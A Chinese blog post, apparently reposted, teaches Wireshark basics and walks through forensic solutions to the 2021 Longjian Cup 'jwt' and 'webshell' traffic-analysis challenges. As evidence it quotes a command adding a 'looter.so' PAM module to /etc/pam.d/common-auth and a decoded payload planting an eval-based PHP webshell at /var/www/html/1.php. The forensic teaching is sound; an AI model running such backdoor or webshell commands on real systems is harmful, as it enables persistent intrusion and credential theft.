Wireshark學習

Wireshark簡介

抓包前

1.打開wireshark得到下面的界面

2.選擇菜單欄上捕獲-> 選項,勾選WLAN網卡(這里需要根據各自電腦網卡使用情況選擇,簡單的辦法可以看使用的IP對應的網卡)。點擊開始。啟動抓包。

3.wireshark啟動后,wireshark處于抓包狀態中。

抓包后

簡單介紹一下打開一個文件后的界面

在數據列表區的顏色不同,有不同的意義,如下:

其中的主要區域:

1.應用顯示過濾器, 用于設置過濾條件進行數據包列表過濾。菜單路徑:分析–> 顯示過濾器。

2.數據包列表, 顯示捕獲到的數據包,每個數據包包含編號,時間戳,源地址,目標地址,協議,長度,以及數據包信息。 不同協議的數據包使用了不同的顏色區分顯示。

刷題實操

[隴劍杯 2021]jwt

[隴劍杯 2021]jwt(問1)

其實從題目我們就知道答案了。但是我們還是得學會怎么做,用wireshark打開,結合題目描述,“認證方式”,我們就去搜索一下認證方式

對比三種認證方式:傳統token認證,jwt認證,oauth認證_token認證原理-CSDN博客

看到了題目的jwt,其中有header,而wireshark的流量分析也有head,查看一下,有token然后,我們追蹤一下,這一段token是什么其中成分挺多的,有大寫、小寫、數字、下劃線......那么我們先試試base64這樣解碼可以看到一個經典的用戶名‘admin’,所以這應該就包含了我們的flag


[隴劍杯 2021]jwt(問2)

在前文的那篇文章中我們可以得到如下知識:

也就是說id和name都包含到了token里面,所以我們搜索字符串token?看到whoami,這里我們就已經能感知到自己成功了,繼續base64解碼

[隴劍杯 2021]jwt(問3)

需要的是權限是什么。我搜索剛才的whoami,然后這一條流量的下一條應該就是它的回復了,所以我們就看看下一條流量,得到回復是root,所以權限是root

[隴劍杯 2021]jwt(問4)

題目描述是文件上傳,所以我們過濾

http.request.method=="POST"

挨個查看信息,看到了一個類似文件的

[隴劍杯 2021]jwt(問5)

和上一題類似,再過濾一個字符串so

[隴劍杯 2021]jwt(問6)

因為給的是黑客攻擊流量,所有http的請求方法應該為“POST"

Etc是Linux系統下的一個文件夾,一般用來寄存程序所需的整個文件系統的配置文件

根據echo “auth optional looter.so”>>/etc/pam.d/common-auth可知其意為:向/etc/pam.d/common-auth文件追加一行內容,內容為auth optional looter.so,故文件路徑為/etc/pam.d/common-auth

[隴劍杯 2021]webshell

[隴劍杯 2021]webshell(問1)

需要的是密碼,所以輸入pass找找

[隴劍杯 2021]webshell(問2)

因為修改的是日志文件,所以后綴通常是.log,那么就搜索這個字符串直接提交顯示錯誤,再看一下題目,說的是絕對路徑,就得從根目錄開始,那么我們就需要再找一下該路徑的工作目錄的路徑

這里我們需要來學習一下aaa這個傳參,這句話進行base64解碼后得到的是:

"aaa"="system('echo <?php eval($_REQUEST[aaa]);?>|=base64 -d > /var/www/html/1.php');

這個代碼將會實現在目標服務器上植入PHP webshell,從這里我們可以看到植入的文件是1.php,所以這個文件和我們的日志文件是同一級的,所以我們就找到了需要的根目錄。

[隴劍杯 2021]webshell(問3)

黑客獲取webshell后,大概率會執行id或者whoami命令來查看自己的權限,那么就搜索字符串whoami去獲得,得到了兩條流量,我們就分別追蹤

第一條的狀態碼是404,就不用看了第二條的狀態碼是200那么就繼續往下審(也可以選擇直接搜索use,因為User Group就是用戶權限的意思,也就是對whoami的回答了)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/73609.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/73609.shtml
英文地址,請注明出處:http://en.pswp.cn/web/73609.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[OS_4] 數學視角 | 多狀態 | 模型檢查器 | 程序驗證(math)

程序 狀態機 gdb 單步執行 狀態遷移 狀態里有什么&#xff1f;gdb 可以打印有一些特殊的狀態遷移 硬件 狀態機 指令執行 狀態遷移 從 CPU Reset 開始執行 FirmwareFirmware 加載操作系統 (程序) 操作系統 狀態機 (毫無疑問) 程序是一種真正意義上的 “數學嚴格” 的…

互聯網的“神經中樞”域名根服務器是如何演變的?

互聯網如同一條隱形的紐帶&#xff0c;將全球數十億人的生活和工作緊密相連。而在這龐大的網絡體系中&#xff0c;域名根服務器則是支撐其平穩運行的“神經中樞”。那么域名根服務器是如何演變的呢&#xff1f; 一、域名根服務器互聯網的“地址簿” 想象一下&#xff0c;當你…

【sylar-webserver】6 IO協程調度模塊

文章目錄 設計知識點 設計 IO協程調度模塊&#xff0c;整個項目里最重要的模塊~ 和 協程調度模塊 相比&#xff0c;增加了 IO 事件的 觸發條件。 所以需要重新封裝 Event 事件&#xff0c; 通過 epoll_wait 監測觸發事件&#xff08;重新實現了idle&#xff09;&#xff0c;…

6.2、認證主要產品與應用

目錄 認證主要產品認證產品主要技術指標認證技術應用認證技術應用 - 校園網應用認證技術應用 - 網絡路由認證認證技術應用 - 用戶登錄設備認證技術應用 - 人臉識別門禁與eID 認證主要產品 應用認證產品主要形態有三種&#xff0c;硬件模式、軟件模式和軟硬相結合。硬件比如說認…

一套SaaS多租戶醫療云his源碼,基于云計算的醫院信息管理系統(云HIS)

基于云計算的醫院信息管理系統&#xff08;云HIS&#xff09;&#xff0c;通過SaaS服務模式提供。這種云HIS系統設計考慮了模板化、配置化、智能化和可擴展性&#xff0c;覆蓋了基層醫療機構的核心工作流程&#xff0c;并且能夠與監管系統無縫對接&#xff0c;滿足未來的擴展需…

人工智能技術全景圖譜:從基礎理論到前沿應用

人工智能技術全景圖譜&#xff1a;從基礎理論到前沿應用 一、AI發展歷程與學科體系 1.1 人工智能三大學派 符號主義&#xff08;Symbolicism&#xff09; 邏輯推理&#xff1a;一階謂詞邏輯知識表示&#xff1a;語義網絡、框架系統 連接主義&#xff08;Connectionism&#…

基于杜鵑鳥鯰魚優化(Cuckoo Catfish Optimizer,CCO)算法的多個無人機協同路徑規劃(可以自定義無人機數量及起始點),MATLAB代碼

一、杜鵑鳥鯰魚優化算法 杜鵑鳥鯰魚優化&#xff08;Cuckoo Catfish Optimizer&#xff0c;CCO&#xff09;算法模擬了杜鵑鳥鯰魚的搜索、捕食和寄生慈鯛行為。該算法的早期迭代側重于執行多維包絡搜索策略和壓縮空間策略&#xff0c;并結合輔助搜索策略來有效限制慈鰾的逃逸空…

FPGA_DDS_IP核

接下來對FPGA的DDS的ip核進行學習。 首先對DDS需要有些了解 DDS信號發生器采用直接數字頻率合成&#xff08;Direct Digital Synthesis&#xff0c;簡稱DDS&#xff09;技術&#xff0c;簡單來說就是 需要一個系統頻率和一個輸入的數字數據 &#xff0c;用這個系統頻率計算出…

dbeaver連接mongodb 插入日期變成了字符串

dbeaver插入mongodb數據 日期默認使用ISODate處理&#xff0c;但是插入數據以后實際上是ISODate(2025-03-03T03:25:19.640Z)字符串 INSERT INTO xxx.aaa (_id, chatId, buddyId, pId, lastChatId, inspiration, createTime, modelType, version, selectedInspiration, _class)…

微服務管理 - NACOS學習

為什么了解&#xff0c;工作中會使用這個工具進行微服務管理。 入門介紹&#xff1a; Nacos 是阿里巴巴開源的一款專注于動態服務發現、配置管理和服務管理的平臺&#xff0c;主要用于簡化云原生應用架構中的微服務開發與運維。它幫助開發者實現服務的自動注冊與發現、實時配置…

外貿獨立站相關知識掃盲

常見的外貿獨立站類型 B2B外貿獨立站&#xff1a;主要面向企業客戶&#xff0c;展示公司產品、服務和解決方案&#xff0c;促進企業間貿易。例如&#xff0c;使用WordPress搭建的B2B外貿獨立站&#xff0c;可以靈活展示產品信息、發布行業資訊、提供在線詢盤功能等。 B2C外貿…

libpng-1.6.47-windows編譯

本文操作按照《c&c開源庫編譯指南》中內容規范編寫&#xff0c;編譯環境配置、工具下載、目錄規劃&#xff0c;及更多其他開源庫編譯方法請參考該文章。 c&c開源庫編譯指南&#xff1a;https://blog.csdn.net/binary0006/article/details/144086155 本文章中的源代碼已…

[250324] Kafka 4.0.0 版本發布:告別 ZooKeeper,擁抱 KRaft!| Wine 10.4 發布!

目錄 Kafka 4.0.0 版本發布&#xff1a;告別 ZooKeeper&#xff0c;擁抱 KRaft&#xff01;Wine 10.4 發布&#xff01; Kafka 4.0.0 版本發布&#xff1a;告別 ZooKeeper&#xff0c;擁抱 KRaft&#xff01; 近日&#xff0c;Apache Kafka 4.0.0 正式發布&#xff01;這是一個…

linux安裝配置Nacos

環境&#xff1a;centos7、mysql8.0、nacos2.5.1 1.下載Nacos安裝包 https://github.com/alibaba/nacos/releases?spm5238cd80.72a042d5.0.0.46bacd36C42EfG 我這邊選的是最新的穩定版本2.5.1 2. 放到 linux 服務器中解壓安裝 解壓 tar -xvf nacos-server-2.5.1.tar.gz 進入…

元宇宙浪潮下,數字孿生如何“乘風破浪”?

在當今科技飛速發展的時代&#xff0c;元宇宙的概念如同一顆璀璨的新星&#xff0c;吸引了全球的目光。元宇宙被描繪為一個平行于現實世界、又與現實世界相互影響且始終在線的虛擬空間&#xff0c;它整合了多種前沿技術&#xff0c;為人們帶來沉浸式的交互體驗。而數字孿生&…

[Effective C++]條款24:若所有參數皆需類型轉換,請為此采用non-menber函數

. 1、操作符重載&隱式類型轉換 C中&#xff0c;操作符重載可以通過成員函數或非成員函數來實現。當操作符重載是成員函數時&#xff0c;左操作數必須是該類的對象。如果左操作數不是該類的對象&#xff0c;而是需要進行隱式轉換的類型&#xff0c;編譯器將無法找到匹配的成…

C++———— Vector

一、vector的介紹及使用 1.1 vector的介紹 1.2 vector 的使用 1.21 vector的定義 演示&#xff1a; 1.22 vector iterator 的使用 1.beginend 主要作用&#xff1a;獲取第一個數據位置的迭代器和最后一個數據的下一個位置的迭代器。 演示&#xff1a; 2.rbeginrend 主要…

STL入門

STL入門 作者&#xff1a;blue 時間&#xff1a;2024.3 文章目錄 STL入門0.概述1.pair2.set(集合)3.vector4.string字符串類型5.queue&#xff0c;deque&#xff0c;priority_queue6.list的用法 0.概述 本文討論部分常用的STL的運用 1.pair pair是將2個數據組合成一組數據…

洛谷 P10463 Interval GCD Solution

Description 給定序列 a ( a 1 , a 2 , ? , a n ) a(a_1,a_2,\cdots,a_n) a(a1?,a2?,?,an?)&#xff0c;有 m m m 個操作分兩種&#xff1a; add ? ( l , r , k ) \operatorname{add}(l,r,k) add(l,r,k)&#xff1a;對每個 i ∈ [ l , r ] i\in[l,r] i∈[l,r] 執行 …

從聲源定位(DOA)算法仿真到工程源碼實現-第八節

一、概述 本節我們記錄在respeaker core v2 開發板上部署一個完整的聲源定位(DOA)系統&#xff0c;演示可以看第一節中的視頻。整個模塊可以分為三部分&#xff0c;第一部分為控制開發板上的LED燈顯示&#xff0c;這樣可以實時的測試算法的效果&#xff1b;第二部分為從ALSA上取…